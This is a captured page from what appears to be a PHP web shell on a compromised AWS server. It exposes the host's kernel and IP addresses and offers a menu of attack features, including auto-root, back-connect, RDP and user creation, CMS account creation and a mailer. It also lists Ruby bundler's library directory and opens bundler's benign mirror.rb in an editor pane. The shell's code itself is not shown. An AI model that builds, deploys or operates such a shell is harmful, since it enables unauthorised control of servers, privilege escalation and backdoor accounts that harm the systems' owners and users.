Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.219.68.172
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
2.7.0 /
bundler /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
compact_index_client
[ DIR ]
drwxr-xr-x
fetcher
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
plugin
[ DIR ]
drwxr-xr-x
resolver
[ DIR ]
drwxr-xr-x
settings
[ DIR ]
drwxr-xr-x
source
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
ui
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
build_metadata.rb
1.57
KB
-rw-r--r--
capistrano.rb
883
B
-rw-r--r--
cli.rb
36.43
KB
-rw-r--r--
compact_index_client.rb
3.58
KB
-rw-r--r--
constants.rb
212
B
-rw-r--r--
current_ruby.rb
2.12
KB
-rw-r--r--
definition.rb
36.72
KB
-rw-r--r--
dep_proxy.rb
827
B
-rw-r--r--
dependency.rb
4.84
KB
-rw-r--r--
deployment.rb
3.19
KB
-rw-r--r--
deprecate.rb
876
B
-rw-r--r--
dsl.rb
20.43
KB
-rw-r--r--
endpoint_specification.rb
3.91
KB
-rw-r--r--
env.rb
5.01
KB
-rw-r--r--
environment_preserver.rb
1.28
KB
-rw-r--r--
errors.rb
4.59
KB
-rw-r--r--
feature_flag.rb
2.45
KB
-rw-r--r--
fetcher.rb
11.1
KB
-rw-r--r--
friendly_errors.rb
4.36
KB
-rw-r--r--
gem_helper.rb
6.26
KB
-rw-r--r--
gem_helpers.rb
3.19
KB
-rw-r--r--
gem_remote_fetcher.rb
1.46
KB
-rw-r--r--
gem_tasks.rb
138
B
-rw-r--r--
gem_version_promoter.rb
6.51
KB
-rw-r--r--
gemdeps.rb
423
B
-rw-r--r--
graph.rb
4.99
KB
-rw-r--r--
index.rb
5.24
KB
-rw-r--r--
injector.rb
8.76
KB
-rw-r--r--
inline.rb
2.76
KB
-rw-r--r--
installer.rb
11.6
KB
-rw-r--r--
lazy_specification.rb
3.61
KB
-rw-r--r--
lockfile_generator.rb
2.18
KB
-rw-r--r--
lockfile_parser.rb
8.27
KB
-rw-r--r--
match_platform.rb
660
B
-rw-r--r--
mirror.rb
5.82
KB
-rw-r--r--
plugin.rb
9.62
KB
-rw-r--r--
process_lock.rb
702
B
-rw-r--r--
psyched_yaml.rb
854
B
-rw-r--r--
remote_specification.rb
3.44
KB
-rw-r--r--
resolver.rb
16.04
KB
-rw-r--r--
retry.rb
1.61
KB
-rw-r--r--
ruby_dsl.rb
761
B
-rw-r--r--
ruby_version.rb
4.45
KB
-rw-r--r--
rubygems_ext.rb
4.14
KB
-rw-r--r--
rubygems_gem_installer.rb
3.49
KB
-rw-r--r--
rubygems_integration.rb
18.04
KB
-rw-r--r--
runtime.rb
10.67
KB
-rw-r--r--
settings.rb
11.39
KB
-rw-r--r--
setup.rb
802
B
-rw-r--r--
shared_helpers.rb
11.26
KB
-rw-r--r--
similarity_detector.rb
1.84
KB
-rw-r--r--
source.rb
2.75
KB
-rw-r--r--
source_list.rb
5.52
KB
-rw-r--r--
spec_set.rb
5.28
KB
-rw-r--r--
stub_specification.rb
2.27
KB
-rw-r--r--
ui.rb
255
B
-rw-r--r--
uri_credentials_filter.rb
1.24
KB
-rw-r--r--
vendored_fileutils.rb
101
B
-rw-r--r--
vendored_molinillo.rb
101
B
-rw-r--r--
vendored_persistent.rb
1.67
KB
-rw-r--r--
vendored_thor.rb
180
B
-rw-r--r--
vendored_uri.rb
89
B
-rw-r--r--
version.rb
179
B
-rw-r--r--
version_ranges.rb
3.8
KB
-rw-r--r--
vlad.rb
468
B
-rw-r--r--
worker.rb
2.59
KB
-rw-r--r--
yaml_serializer.rb
2.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mirror.rb
# frozen_string_literal: true require "socket" module Bundler class Settings # Class used to build the mirror set and then find a mirror for a given URI # # @param prober [Prober object, nil] by default a TCPSocketProbe, this object # will be used to probe the mirror address to validate that the mirror replies. class Mirrors def initialize(prober = nil) @all = Mirror.new @prober = prober || TCPSocketProbe.new @mirrors = {} end # Returns a mirror for the given uri. # # Depending on the uri having a valid mirror or not, it may be a # mirror that points to the provided uri def for(uri) if @all.validate!(@prober).valid? @all else fetch_valid_mirror_for(Settings.normalize_uri(uri)) end end def each @mirrors.each do |k, v| yield k, v.uri.to_s end end def parse(key, value) config = MirrorConfig.new(key, value) mirror = if config.all? @all else @mirrors[config.uri] ||= Mirror.new end config.update_mirror(mirror) end private def fetch_valid_mirror_for(uri) downcased = uri.to_s.downcase mirror = @mirrors[downcased] || @mirrors[Bundler::URI(downcased).host] || Mirror.new(uri) mirror.validate!(@prober) mirror = Mirror.new(uri) unless mirror.valid? mirror end end # A mirror # # Contains both the uri that should be used as a mirror and the # fallback timeout which will be used for probing if the mirror # replies on time or not. class Mirror DEFAULT_FALLBACK_TIMEOUT = 0.1 attr_reader :uri, :fallback_timeout def initialize(uri = nil, fallback_timeout = 0) self.uri = uri self.fallback_timeout = fallback_timeout @valid = nil end def uri=(uri) @uri = if uri.nil? nil else Bundler::URI(uri.to_s) end @valid = nil end def fallback_timeout=(timeout) case timeout when true, "true" @fallback_timeout = DEFAULT_FALLBACK_TIMEOUT when false, "false" @fallback_timeout = 0 else @fallback_timeout = timeout.to_i end @valid = nil end def ==(other) !other.nil? && uri == other.uri && fallback_timeout == other.fallback_timeout end def valid? return false if @uri.nil? return @valid unless @valid.nil? false end def validate!(probe = nil) @valid = false if uri.nil? if @valid.nil? @valid = fallback_timeout == 0 || (probe || TCPSocketProbe.new).replies?(self) end self end end # Class used to parse one configuration line # # Gets the configuration line and the value. # This object provides a `update_mirror` method # used to setup the given mirror value. class MirrorConfig attr_accessor :uri, :value def initialize(config_line, value) uri, fallback = config_line.match(%r{\Amirror\.(all|.+?)(\.fallback_timeout)?\/?\z}).captures @fallback = !fallback.nil? @all = false if uri == "all" @all = true else @uri = Bundler::URI(uri).absolute? ? Settings.normalize_uri(uri) : uri end @value = value end def all? @all end def update_mirror(mirror) if @fallback mirror.fallback_timeout = @value else mirror.uri = Settings.normalize_uri(@value) end end end # Class used for probing TCP availability for a given mirror. class TCPSocketProbe def replies?(mirror) MirrorSockets.new(mirror).any? do |socket, address, timeout| begin socket.connect_nonblock(address) rescue Errno::EINPROGRESS wait_for_writtable_socket(socket, address, timeout) rescue RuntimeError # Connection failed somehow, again false end end end private def wait_for_writtable_socket(socket, address, timeout) if IO.select(nil, [socket], nil, timeout) probe_writtable_socket(socket, address) else # TCP Handshake timed out, or there is something dropping packets false end end def probe_writtable_socket(socket, address) socket.connect_nonblock(address) rescue Errno::EISCONN true rescue StandardError # Connection failed false end end end # Class used to build the list of sockets that correspond to # a given mirror. # # One mirror may correspond to many different addresses, both # because of it having many dns entries or because # the network interface is both ipv4 and ipv5 class MirrorSockets def initialize(mirror) @timeout = mirror.fallback_timeout @addresses = Socket.getaddrinfo(mirror.uri.host, mirror.uri.port).map do |address| SocketAddress.new(address[0], address[3], address[1]) end end def any? @addresses.any? do |address| socket = Socket.new(Socket.const_get(address.type), Socket::SOCK_STREAM, 0) socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) value = yield socket, address.to_socket_address, @timeout socket.close unless socket.closed? value end end end # Socket address builder. # # Given a socket type, a host and a port, # provides a method to build sockaddr string class SocketAddress attr_reader :type, :host, :port def initialize(type, host, port) @type = type @host = host @port = port end def to_socket_address Socket.pack_sockaddr_in(@port, @host) end end end
Close